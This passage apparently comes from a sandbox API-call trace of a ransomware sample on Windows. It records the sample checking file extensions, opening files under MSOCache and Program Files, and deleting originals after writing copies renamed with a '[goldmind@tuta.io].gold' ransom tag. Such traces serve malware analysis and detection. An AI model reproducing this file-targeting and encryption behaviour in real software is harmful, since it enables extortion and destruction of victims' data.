lpNumberOfBytesWritten=0x316fc9c*=0xec, lpOverlapped=0x0) returned 1 [0035.206] SetEndOfFile (hFile=0x1a4) returned 1 [0035.206] CloseHandle (hObject=0x1a4) returned 1 [0035.210] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0035.210] SetEndOfFile (hFile=0x184) returned 1 [0035.214] CloseHandle (hObject=0x184) returned 1 [0035.214] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x2020) returned 1 [0035.214] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\branding.xml")) returned 1 [0035.215] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml") returned 88 [0035.215] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml") returned 88 [0035.215] lstrlenW (lpString=".doc") returned 4 [0035.215] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0035.215] lstrlenW (lpString=".docx") returned 5 [0035.215] lstrcmpiW (lpString1=".docx", lpString2="g.xml") returned -1 [0035.215] lstrlenW (lpString=".pdf") returned 4 [0035.215] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0035.215] lstrlenW (lpString=".xls") returned 4 [0035.215] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0035.215] lstrlenW (lpString=".xlsx") returned 5 [0035.215] lstrcmpiW (lpString1=".xlsx", lpString2="g.xml") returned -1 [0035.215] lstrlenW (lpString=".ppt") returned 4 [0035.215] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0035.215] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml") returned 88 [0035.215] lstrlenW (lpString=".zip") returned 4 [0035.215] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0035.215] lstrlenW (lpString=".rar") returned 4 [0035.215] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0035.215] lstrlenW (lpString=".bz2") returned 4 [0035.215] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0035.215] lstrlenW (lpString=".7z") returned 3 [0035.215] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0035.215] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml") returned 88 [0035.215] lstrlenW (lpString=".dbf") returned 4 [0035.215] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0035.215] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml") returned 88 [0035.215] lstrlenW (lpString=".1cd") returned 4 [0035.215] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0035.215] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml") returned 88 [0035.215] lstrlenW (lpString=".jpg") returned 4 [0035.215] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0035.215] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml") returned 88 [0035.215] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml") returned 88 [0035.215] lstrlenW (lpString=".doc") returned 4 [0035.215] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0035.215] lstrlenW (lpString=".docx") returned 5 [0035.215] lstrcmpiW (lpString1=".docx", lpString2="g.xml") returned -1 [0035.215] lstrlenW (lpString=".pdf") returned 4 [0035.215] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0035.215] lstrlenW (lpString=".xls") returned 4 [0035.215] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0035.215] lstrlenW (lpString=".xlsx") returned 5 [0035.215] lstrcmpiW (lpString1=".xlsx", lpString2="g.xml") returned -1 [0035.215] lstrlenW (lpString=".ppt") returned 4 [0035.215] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0035.215] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml") returned 88 [0035.215] lstrlenW (lpString=".zip") returned 4 [0035.215] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0035.215] lstrlenW (lpString=".rar") returned 4 [0035.215] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0035.215] lstrlenW (lpString=".bz2") returned 4 [0035.215] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0035.215] lstrlenW (lpString=".7z") returned 3 [0035.215] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0035.434] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml") returned 88 [0035.434] lstrlenW (lpString=".dbf") returned 4 [0035.435] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0035.435] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml") returned 88 [0035.435] lstrlenW (lpString=".1cd") returned 4 [0035.435] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0035.435] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml") returned 88 [0035.435] lstrlenW (lpString=".jpg") returned 4 [0035.435] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0035.444] Sleep (dwMilliseconds=0x64) [0035.684] Sleep (dwMilliseconds=0x64) [0036.059] lstrcmpiW (lpString1=".xml", lpString2=".gold") returned 1 [0036.059] lstrlenW (lpString="ipsptg.xml") returned 10 [0036.059] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptg.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsptg.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0036.395] GetFileSizeEx (in: hFile=0x1a4, lpFileSize=0x316ff1c | out: lpFileSize=0x316ff1c*=2240) returned 1 [0036.395] CloseHandle (hObject=0x1a4) returned 1 [0036.395] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptg.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsptg.xml")) returned 0x20 [0036.395] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptg.xml.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsptg.xml.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0036.396] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptg.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsptg.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0036.396] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptg.xml") returned 61 [0036.396] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptg.xml") returned 61 [0036.396] lstrlenW (lpString=".doc") returned 4 [0036.396] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0036.396] lstrlenW (lpString=".docx") returned 5 [0036.396] lstrcmpiW (lpString1=".docx", lpString2="g.xml") returned -1 [0036.396] lstrlenW (lpString=".pdf") returned 4 [0036.396] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0036.396] lstrlenW (lpString=".xls") returned 4 [0036.396] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0036.396] lstrlenW (lpString=".xlsx") returned 5 [0036.396] lstrcmpiW (lpString1=".xlsx", lpString2="g.xml") returned -1 [0036.396] lstrlenW (lpString=".ppt") returned 4 [0036.396] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0036.396] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptg.xml") returned 61 [0036.396] lstrlenW (lpString=".zip") returned 4 [0036.396] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0036.396] lstrlenW (lpString=".rar") returned 4 [0036.396] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0036.396] lstrlenW (lpString=".bz2") returned 4 [0036.396] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0036.396] lstrlenW (lpString=".7z") returned 3 [0036.396] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0036.396] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptg.xml") returned 61 [0036.396] lstrlenW (lpString=".dbf") returned 4 [0036.396] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0036.396] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptg.xml") returned 61 [0036.396] lstrlenW (lpString=".1cd") returned 4 [0036.396] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0036.396] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptg.xml") returned 61 [0036.396] lstrlenW (lpString=".jpg") returned 4 [0036.396] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0036.396] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptg.xml") returned 61 [0036.396] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptg.xml") returned 61 [0036.396] lstrlenW (lpString=".doc") returned 4 [0036.396] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0036.396] lstrlenW (lpString=".docx") returned 5 [0036.396] lstrcmpiW (lpString1=".docx", lpString2="g.xml") returned -1 [0036.396] lstrlenW (lpString=".pdf") returned 4 [0036.396] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0036.396] lstrlenW (lpString=".xls") returned 4 [0036.396] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0036.396] lstrlenW (lpString=".xlsx") returned 5 [0036.396] lstrcmpiW (lpString1=".xlsx", lpString2="g.xml") returned -1 [0036.397] lstrlenW (lpString=".ppt") returned 4 [0036.397] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0036.397] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptg.xml") returned 61 [0036.397] lstrlenW (lpString=".zip") returned 4 [0036.397] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0036.397] lstrlenW (lpString=".rar") returned 4 [0036.397] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0036.397] lstrlenW (lpString=".bz2") returned 4 [0036.397] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0036.397] lstrlenW (lpString=".7z") returned 3 [0036.397] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0036.397] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptg.xml") returned 61 [0036.397] lstrlenW (lpString=".dbf") returned 4 [0036.397] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0036.397] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptg.xml") returned 61 [0036.397] lstrlenW (lpString=".1cd") returned 4 [0036.397] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0036.397] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptg.xml") returned 61 [0036.397] lstrlenW (lpString=".jpg") returned 4 [0036.397] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0036.397] lstrcmpiW (lpString1=".xml", lpString2=".gold") returned 1 [0036.397] lstrlenW (lpString="ipsrus.xml") returned 10 [0036.397] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrus.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsrus.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0036.400] GetFileSizeEx (in: hFile=0x1a4, lpFileSize=0x316ff1c | out: lpFileSize=0x316ff1c*=2542) returned 1 [0036.400] CloseHandle (hObject=0x1a4) returned 1 [0036.400] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrus.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsrus.xml")) returned 0x20 [0036.400] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrus.xml.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsrus.xml.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0036.400] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrus.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsrus.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0036.400] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrus.xml") returned 61 [0036.400] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrus.xml") returned 61 [0036.400] lstrlenW (lpString=".doc") returned 4 [0036.400] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0036.400] lstrlenW (lpString=".docx") returned 5 [0036.400] lstrcmpiW (lpString1=".docx", lpString2="s.xml") returned -1 [0036.400] lstrlenW (lpString=".pdf") returned 4 [0036.400] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0036.400] lstrlenW (lpString=".xls") returned 4 [0036.401] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0036.401] lstrlenW (lpString=".xlsx") returned 5 [0036.401] lstrcmpiW (lpString1=".xlsx", lpString2="s.xml") returned -1 [0036.401] lstrlenW (lpString=".ppt") returned 4 [0036.401] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0036.401] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrus.xml") returned 61 [0036.401] lstrlenW (lpString=".zip") returned 4 [0036.401] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0036.401] lstrlenW (lpString=".rar") returned 4 [0036.401] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0036.401] lstrlenW (lpString=".bz2") returned 4 [0036.401] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0036.401] lstrlenW (lpString=".7z") returned 3 [0036.401] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0036.401] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrus.xml") returned 61 [0036.401] lstrlenW (lpString=".dbf") returned 4 [0036.401] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0036.401] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrus.xml") returned 61 [0036.401] lstrlenW (lpString=".1cd") returned 4 [0036.401] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0036.401] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrus.xml") returned 61 [0036.401] lstrlenW (lpString=".jpg") returned 4 [0036.401] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0036.401] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrus.xml") returned 61 [0036.401] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrus.xml") returned 61 [0036.401] lstrlenW (lpString=".doc") returned 4 [0036.401] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0036.401] lstrlenW (lpString=".docx") returned 5 [0036.401] lstrcmpiW (lpString1=".docx", lpString2="s.xml") returned -1 [0036.401] lstrlenW (lpString=".pdf") returned 4 [0036.402] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0036.402] lstrlenW (lpString=".xls") returned 4 [0036.402] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0036.402] lstrlenW (lpString=".xlsx") returned 5 [0036.402] lstrcmpiW (lpString1=".xlsx", lpString2="s.xml") returned -1 [0036.402] lstrlenW (lpString=".ppt") returned 4 [0036.402] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0036.402] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrus.xml") returned 61 [0036.402] lstrlenW (lpString=".zip") returned 4 [0036.402] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0036.402] lstrlenW (lpString=".rar") returned 4 [0036.402] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0036.402] lstrlenW (lpString=".bz2") returned 4 [0036.402] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0036.402] lstrlenW (lpString=".7z") returned 3 [0036.402] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0036.402] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrus.xml") returned 61 [0036.402] lstrlenW (lpString=".dbf") returned 4 [0036.402] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0036.402] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrus.xml") returned 61 [0036.402] lstrlenW (lpString=".1cd") returned 4 [0036.402] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0036.402] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrus.xml") returned 61 [0036.402] lstrlenW (lpString=".jpg") returned 4 [0036.402] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0036.402] lstrcmpiW (lpString1=".xml", lpString2=".gold") returned 1 [0036.402] lstrlenW (lpString="ipssrb.xml") returned 10 [0036.402] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssrb.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssrb.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0036.403] GetFileSizeEx (in: hFile=0x1a4, lpFileSize=0x316ff1c | out: lpFileSize=0x316ff1c*=2568) returned 1 [0036.403] CloseHandle (hObject=0x1a4) returned 1 [0036.403] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssrb.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssrb.xml")) returned 0x20 [0036.403] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssrb.xml.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssrb.xml.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0036.403] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssrb.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssrb.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0036.403] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssrb.xml") returned 61 [0036.403] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssrb.xml") returned 61 [0036.403] lstrlenW (lpString=".doc") returned 4 [0036.403] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0036.403] lstrlenW (lpString=".docx") returned 5 [0036.403] lstrcmpiW (lpString1=".docx", lpString2="b.xml") returned -1 [0036.403] lstrlenW (lpString=".pdf") returned 4 [0036.403] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0036.403] lstrlenW (lpString=".xls") returned 4 [0036.403] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0036.403] lstrlenW (lpString=".xlsx") returned 5 [0036.403] lstrcmpiW (lpString1=".xlsx", lpString2="b.xml") returned -1 [0036.403] lstrlenW (lpString=".ppt") returned 4 [0036.403] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0036.403] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssrb.xml") returned 61 [0036.403] lstrlenW (lpString=".zip") returned 4 [0036.403] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0036.403] lstrlenW (lpString=".rar") returned 4 [0036.403] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0036.403] lstrlenW (lpString=".bz2") returned 4 [0036.403] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0036.404] lstrlenW (lpString=".7z") returned 3 [0036.404] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0036.404] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssrb.xml") returned 61 [0036.404] lstrlenW (lpString=".dbf") returned 4 [0036.404] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0036.404] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssrb.xml") returned 61 [0036.404] lstrlenW (lpString=".1cd") returned 4 [0036.404] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0036.404] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssrb.xml") returned 61 [0036.404] lstrlenW (lpString=".jpg") returned 4 [0036.404] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0036.404] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssrb.xml") returned 61 [0036.404] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssrb.xml") returned 61 [0036.404] lstrlenW (lpString=".doc") returned 4 [0036.404] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0036.404] lstrlenW (lpString=".docx") returned 5 [0036.404] lstrcmpiW (lpString1=".docx", lpString2="b.xml") returned -1 [0036.404] lstrlenW (lpString=".pdf") returned 4 [0036.404] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0036.404] lstrlenW (lpString=".xls") returned 4 [0036.404] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0036.404] lstrlenW (lpString=".xlsx") returned 5 [0036.404] lstrcmpiW (lpString1=".xlsx", lpString2="b.xml") returned -1 [0036.404] lstrlenW (lpString=".ppt") returned 4 [0036.404] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0036.404] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssrb.xml") returned 61 [0036.404] lstrlenW (lpString=".zip") returned 4 [0036.404] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0036.404] lstrlenW (lpString=".rar") returned 4 [0036.404] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0036.404] lstrlenW (lpString=".bz2") returned 4 [0036.404] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0036.404] lstrlenW (lpString=".7z") returned 3 [0036.404] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0036.404] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssrb.xml") returned 61 [0036.404] lstrlenW (lpString=".dbf") returned 4 [0036.404] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0036.404] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssrb.xml") returned 61 [0036.404] lstrlenW (lpString=".1cd") returned 4 [0036.404] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0036.405] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssrb.xml") returned 61 [0036.405] lstrlenW (lpString=".jpg") returned 4 [0036.405] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0036.405] lstrcmpiW (lpString1=".xml", lpString2=".gold") returned 1 [0036.405] lstrlenW (lpString="ipssrl.xml") returned 10 [0036.405] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssrl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssrl.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0036.405] GetFileSizeEx (in: hFile=0x1a4, lpFileSize=0x316ff1c | out: lpFileSize=0x316ff1c*=2596) returned 1 [0036.405] CloseHandle (hObject=0x1a4) returned 1 [0036.405] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssrl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssrl.xml")) returned 0x20 [0036.405] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssrl.xml.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssrl.xml.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0036.405] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssrl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssrl.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0036.405] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssrl.xml") returned 61 [0036.405] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssrl.xml") returned 61 [0036.405] lstrlenW (lpString=".doc") returned 4 [0036.406] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0036.406] lstrlenW (lpString=".docx") returned 5 [0036.406] lstrcmpiW (lpString1=".docx", lpString2="l.xml") returned -1 [0036.406] lstrlenW (lpString=".pdf") returned 4 [0036.406] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0036.406] lstrlenW (lpString=".xls") returned 4 [0036.406] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0036.406] lstrlenW (lpString=".xlsx") returned 5 [0036.406] lstrcmpiW (lpString1=".xlsx", lpString2="l.xml") returned -1 [0036.406] lstrlenW (lpString=".ppt") returned 4 [0036.406] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0036.406] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssrl.xml") returned 61 [0036.406] lstrlenW (lpString=".zip") returned 4 [0036.406] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0036.406] lstrlenW (lpString=".rar") returned 4 [0036.406] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0036.406] lstrlenW (lpString=".bz2") returned 4 [0036.406] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0036.406] lstrlenW (lpString=".7z") returned 3 [0036.406] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0036.406] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssrl.xml") returned 61 [0036.406] lstrlenW (lpString=".dbf") returned 4 [0036.406] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0036.406] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssrl.xml") returned 61 [0036.406] lstrlenW (lpString=".1cd") returned 4 [0036.406] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0036.406] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssrl.xml") returned 61 [0036.406] lstrlenW (lpString=".jpg") returned 4 [0036.406] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0036.406] lstrlenW (lpString="C:\\Program Files\\Common 